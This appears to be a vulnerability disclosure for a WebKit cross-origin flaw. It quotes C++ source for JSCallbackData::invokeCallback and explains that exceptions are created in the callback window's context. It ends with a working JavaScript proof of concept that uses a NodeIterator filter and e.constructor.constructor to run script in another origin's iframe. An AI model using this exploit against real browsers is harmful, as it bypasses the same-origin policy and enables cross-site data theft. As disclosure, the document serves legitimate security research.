Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object.

class JSCallbackDataStrong : public JSCallbackData {
public:
JSCallbackDataStrong(JSC::JSObject* callback, void*)
: m_callback(callback->globalObject()->vm(), callback)
{
}

JSC::JSObject* callback() { return m_callback.get(); }
JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); }

JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
{
return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException);
}

private:
JSC::Strong<JSC::JSObject> m_callback;
};

JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
{
ASSERT(callback);

auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject()); <<<---------- (1)
ASSERT(globalObject);

ExecState* exec = globalObject->globalExec();
JSValue function;
CallData callData;
CallType callType = CallType::None;

if (method != CallbackType::Object) {
function = callback;
callType = callback->methodTable()->getCallData(callback, callData);
}
if (callType == CallType::None) {
if (method == CallbackType::Function) {
returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec)); <<<---------- (2)
return JSValue();
}
...
}
...
}

But |JSCallbackData::invokeCallback| method obtains the |ExecState| object from the callback object. So if we invoke |JSCallbackData::invokeCallback| method with the different origin's window as |callback|, an exception object will be created from the different domain's javascript context.

PoC:
-->

"use strict";

let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
f.onload = null;

try {
let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow);
iterator.nextNode();
} catch (e) {
e.constructor.constructor("alert(location)")();
}
};

f.src = "https://abc.xyz/";
